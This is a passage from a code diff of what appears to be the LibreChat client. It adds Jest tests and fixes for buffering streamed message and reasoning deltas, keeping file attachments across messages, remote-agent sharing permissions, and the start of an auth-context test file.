+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const submission = createSubmission();
+ const stepId = 'step-mixed-buffer';
+
+ act(() => {
+ result.current.stepHandler(
+ { event: 'on_reasoning_delta', data: createReasoningDelta(stepId, 'Thinking...') },
+ submission,
+ );
+ result.current.stepHandler(
+ { event: 'on_message_delta', data: createMessageDelta(stepId, 'Response') },
+ submission,
+ );
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+
+ const runStep = createRunStep({ id: stepId });
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ });
+ });
+
+ describe('content type mismatch handling', () => {
+ it('should warn on content type mismatch and not overwrite', () => {
+ const consoleSpy = jest.spyOn(console, 'warn').mockImplementation();
+
+ const responseMessage = createResponseMessage({
+ content: [{ type: ContentTypes.THINK, think: 'Existing thought' }],
+ });
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ act(() => {
+ result.current.syncStepMessage(responseMessage);
+ });
+
+ const runStep = createRunStep({ index: 0 });
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ const textDelta: Agents.MessageDeltaEvent = {
+ id: 'step-1',
+ delta: { content: [{ type: ContentTypes.TEXT, text: 'New text' }] },
+ };
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_message_delta', data: textDelta }, submission);
+ });
+
+ expect(consoleSpy).toHaveBeenCalledWith(
+ 'Content type mismatch',
+ expect.objectContaining({
+ existingType: ContentTypes.THINK,
+ contentType: ContentTypes.TEXT,
+ }),
+ );
+ consoleSpy.mockRestore();
+ });
+ });
+
+ describe('edge cases', () => {
+ it('should handle empty messages array', () => {
+ mockGetMessages.mockReturnValue([]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ });
+
+ it('should handle undefined messages from getMessages', () => {
+ mockGetMessages.mockReturnValue(undefined);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ });
+
+ it('should handle delta with array content', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ const messageDelta: Agents.MessageDeltaEvent = {
+ id: 'step-1',
+ delta: {
+ content: [
+ { type: ContentTypes.TEXT, text: 'First' },
+ { type: ContentTypes.TEXT, text: 'Second' },
+ ],
+ },
+ };
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission);
+ });
+
+ expect(mockSetMessages).toHaveBeenCalled();
+ });
+
+ it('should handle message delta without content', () => {
+ const responseMessage = createResponseMessage();
+ mockGetMessages.mockReturnValue([responseMessage]);
+
+ const { result } = renderHook(() => useStepHandler(createHookParams()));
+
+ const runStep = createRunStep();
+ const submission = createSubmission();
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_run_step', data: runStep }, submission);
+ });
+
+ mockSetMessages.mockClear();
+
+ const messageDelta: Agents.MessageDeltaEvent = {
+ id: 'step-1',
+ delta: {},
+ };
+
+ act(() => {
+ result.current.stepHandler({ event: 'on_message_delta', data: messageDelta }, submission);
+ });
+
+ expect(mockSetMessages).not.toHaveBeenCalled();
+ });
+ });
+});
diff --git a/client/src/hooks/SSE/useAttachmentHandler.ts b/client/src/hooks/SSE/useAttachmentHandler.ts
index 8ac9f35eb2..06261f4af6 100644
--- a/client/src/hooks/SSE/useAttachmentHandler.ts
+++ b/client/src/hooks/SSE/useAttachmentHandler.ts
@@ -1,7 +1,12 @@
import { useSetRecoilState } from 'recoil';
import type { QueryClient } from '@tanstack/react-query';
import { QueryKeys, Tools } from 'librechat-data-provider';
-import type { TAttachment, EventSubmission, MemoriesResponse } from 'librechat-data-provider';
+import type {
+ MemoriesResponse,
+ EventSubmission,
+ TAttachment,
+ TFile,
+} from 'librechat-data-provider';
import { handleMemoryArtifact } from '~/utils/memory';
import store from '~/store';
@@ -11,9 +16,24 @@ export default function useAttachmentHandler(queryClient?: QueryClient) {
return ({ data }: { data: TAttachment; submission: EventSubmission }) => {
const { messageId } = data;
- if (queryClient && data?.filepath && !data.filepath.includes('/api/files')) {
- queryClient.setQueryData([QueryKeys.files], (oldData: TAttachment[] | undefined) => {
- return [data, ...(oldData || [])];
+ const fileData = data as TFile;
+ if (
+ queryClient &&
+ fileData?.file_id &&
+ fileData?.filepath &&
+ !fileData.filepath.includes('/api/files')
+ ) {
+ queryClient.setQueryData([QueryKeys.files], (oldData: TFile[] | undefined) => {
+ if (!oldData) {
+ return [fileData];
+ }
+ const existingIndex = oldData.findIndex((file) => file.file_id === fileData.file_id);
+ if (existingIndex > -1) {
+ const updated = [...oldData];
+ updated[existingIndex] = { ...oldData[existingIndex], ...fileData };
+ return updated;
+ }
+ return [fileData, ...oldData];
});
}
diff --git a/client/src/hooks/SSE/useEventHandlers.ts b/client/src/hooks/SSE/useEventHandlers.ts
index 9f809bd6c1..325ee97315 100644
--- a/client/src/hooks/SSE/useEventHandlers.ts
+++ b/client/src/hooks/SSE/useEventHandlers.ts
@@ -526,6 +526,23 @@ export default function useEventHandlers({
} else if (requestMessage != null && responseMessage != null) {
finalMessages = [...messages, requestMessage, responseMessage];
}
+
+ /* Preserve files from current messages when server response lacks them */
+ if (finalMessages.length > 0) {
+ const currentMsgMap = new Map(
+ currentMessages
+ .filter((m) => m.files && m.files.length > 0)
+ .map((m) => [m.messageId, m.files]),
+ );
+ for (let i = 0; i < finalMessages.length; i++) {
+ const msg = finalMessages[i];
+ const preservedFiles = currentMsgMap.get(msg.messageId);
+ if (msg.files == null && preservedFiles) {
+ finalMessages[i] = { ...msg, files: preservedFiles };
+ }
+ }
+ }
+
if (finalMessages.length > 0) {
setFinalMessages(conversation.conversationId, finalMessages);
} else if (
diff --git a/client/src/hooks/SSE/useStepHandler.ts b/client/src/hooks/SSE/useStepHandler.ts
index cb4de3739c..c3b48cb107 100644
--- a/client/src/hooks/SSE/useStepHandler.ts
+++ b/client/src/hooks/SSE/useStepHandler.ts
@@ -31,6 +31,8 @@ type TStepEvent = {
event: string;
data:
| Agents.MessageDeltaEvent
+ | Agents.ReasoningDeltaEvent
+ | Agents.RunStepDeltaEvent
| Agents.AgentUpdate
| Agents.RunStep
| Agents.ToolEndEvent
@@ -61,6 +63,8 @@ export default function useStepHandler({
const toolCallIdMap = useRef(new Map());
const messageMap = useRef(new Map());
const stepMap = useRef(new Map());
+ /** Buffer for deltas that arrive before their corresponding run step */
+ const pendingDeltaBuffer = useRef(new Map());
/**
* Calculate content index for a run step.
@@ -107,7 +111,7 @@ export default function useStepHandler({
const updatedContent = [...(message.content || [])] as Array<
Partial | undefined
>;
- if (!updatedContent[index]) {
+ if (!updatedContent[index] && contentType !== ContentTypes.TOOL_CALL) {
updatedContent[index] = { type: contentPart.type as AllContentTypes };
}
@@ -350,6 +354,14 @@ export default function useStepHandler({
setMessages(updatedMessages);
}
+
+ const bufferedDeltas = pendingDeltaBuffer.current.get(runStep.id);
+ if (bufferedDeltas && bufferedDeltas.length > 0) {
+ pendingDeltaBuffer.current.delete(runStep.id);
+ for (const bufferedDelta of bufferedDeltas) {
+ stepHandler({ event: bufferedDelta.event, data: bufferedDelta.data }, submission);
+ }
+ }
} else if (event === 'on_agent_update') {
const { agent_update } = data as Agents.AgentUpdate;
let responseMessageId = agent_update.runId || '';
@@ -391,7 +403,9 @@ export default function useStepHandler({
}
if (!runStep || !responseMessageId) {
- console.warn('No run step or runId found for message delta event');
+ const buffer = pendingDeltaBuffer.current.get(messageDelta.id) ?? [];
+ buffer.push({ event: 'on_message_delta', data: messageDelta });
+ pendingDeltaBuffer.current.set(messageDelta.id, buffer);
return;
}
@@ -432,7 +446,9 @@ export default function useStepHandler({
}
if (!runStep || !responseMessageId) {
- console.warn('No run step or runId found for reasoning delta event');
+ const buffer = pendingDeltaBuffer.current.get(reasoningDelta.id) ?? [];
+ buffer.push({ event: 'on_reasoning_delta', data: reasoningDelta });
+ pendingDeltaBuffer.current.set(reasoningDelta.id, buffer);
return;
}
@@ -473,7 +489,9 @@ export default function useStepHandler({
}
if (!runStep || !responseMessageId) {
- console.warn('No run step or runId found for run step delta event');
+ const buffer = pendingDeltaBuffer.current.get(runStepDelta.id) ?? [];
+ buffer.push({ event: 'on_run_step_delta', data: runStepDelta });
+ pendingDeltaBuffer.current.set(runStepDelta.id, buffer);
return;
}
@@ -578,6 +596,7 @@ export default function useStepHandler({
toolCallIdMap.current.clear();
messageMap.current.clear();
stepMap.current.clear();
+ pendingDeltaBuffer.current.clear();
}, []);
/**
diff --git a/client/src/hooks/Sharing/useCanSharePublic.ts b/client/src/hooks/Sharing/useCanSharePublic.ts
index 699ccc9e73..54355dd9a8 100644
--- a/client/src/hooks/Sharing/useCanSharePublic.ts
+++ b/client/src/hooks/Sharing/useCanSharePublic.ts
@@ -1,10 +1,11 @@
import { ResourceType, PermissionTypes, Permissions } from 'librechat-data-provider';
import { useHasAccess } from '~/hooks';
-const resourceToPermissionMap: Record = {
+const resourceToPermissionMap: Partial> = {
[ResourceType.AGENT]: PermissionTypes.AGENTS,
[ResourceType.PROMPTGROUP]: PermissionTypes.PROMPTS,
[ResourceType.MCPSERVER]: PermissionTypes.MCP_SERVERS,
+ [ResourceType.REMOTE_AGENT]: PermissionTypes.REMOTE_AGENTS,
};
/**
diff --git a/client/src/hooks/__tests__/AuthContext.spec.tsx b/client/src/hooks/__tests__/AuthContext.spec.tsx
new file mode 100644
index 0000000000..10a0ee3340
--- /dev/null
+++ b/client/src/hooks/__tests__/AuthContext.spec.tsx
@@ -0,0 +1,447 @@
+/**
+ * @jest-environment @happy-dom/jest-environment
+ */
+import React from 'react';
+import { render, act } from '@testing-library/react';
+import { RecoilRoot } from 'recoil';
+import { QueryClient, QueryClientProvider } from '@tanstack/react-query';
+import { MemoryRouter } from 'react-router-dom';
+
+import type { TAuthConfig } from '~/common';
+
+import { AuthContextProvider, useAuthContext } from '../AuthContext';
+import { SESSION_KEY } from '~/utils';
+
+const mockNavigate = jest.fn();
+jest.mock('react-router-dom', () => ({
+ ...jest.requireActual('react-router-dom'),
+ useNavigate: () => mockNavigate,
+}));
+
+const mockApiBaseUrl = jest.fn(() => '');
+
+jest.mock('librechat-data-provider', () => ({
+ ...jest.requireActual('librechat-data-provider'),
+ setTokenHeader: jest.fn(),
+ apiBaseUrl: () => mockApiBaseUrl(),
+}));
+
+let mockCapturedLoginOptions: {
+ onSuccess: (...args: unknown[]) => void;
+ onError: (...args: unknown[]) => void;
+};
+
+let mockCapturedLogoutOptions: {
+ onSuccess: (...args: unknown[]) => void;
+ onError: (...args: unknown[]) => void;
+};
+
+const mockRefreshMutate = jest.fn();
+
+jest.mock('~/data-provider', () => ({
+ useLoginUserMutation: jest.fn(
+ (options: {
+ onSuccess: (...args: unknown[]) => void;
+ onError: (...args: unknown[]) => void;
+ }) => {
+ mockCapturedLoginOptions = options;
+ return { mutate: jest.fn() };
+ },
+ ),
+ useLogoutUserMutation: jest.fn(
+ (options: {
+ onSuccess: (...args: unknown[]) => void;
+ onError: (...args: unknown[]) => void;
+ }) => {
+ mockCapturedLogoutOptions = options;
+ return { mutate: jest.fn() };
+ },
+ ),
+ useRefreshTokenMutation: jest.fn(() => ({ mutate: mockRefreshMutate })),
+ useGetUserQuery: jest.fn(() => ({
+ data: undefined,
+ isError: false,
+ error: null,
+ })),
+ useGetRole: jest.fn(() => ({ data: null })),
+}));
+
+const authConfig: TAuthConfig = { loginRedirect: '/login', test: true };
+
+function TestConsumer() {
+ const ctx = useAuthContext();
+ return
;
+}
+
+function renderProvider() {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false }, mutations: { retry: false } },
+ });
+
+ return render(
+
+
+
+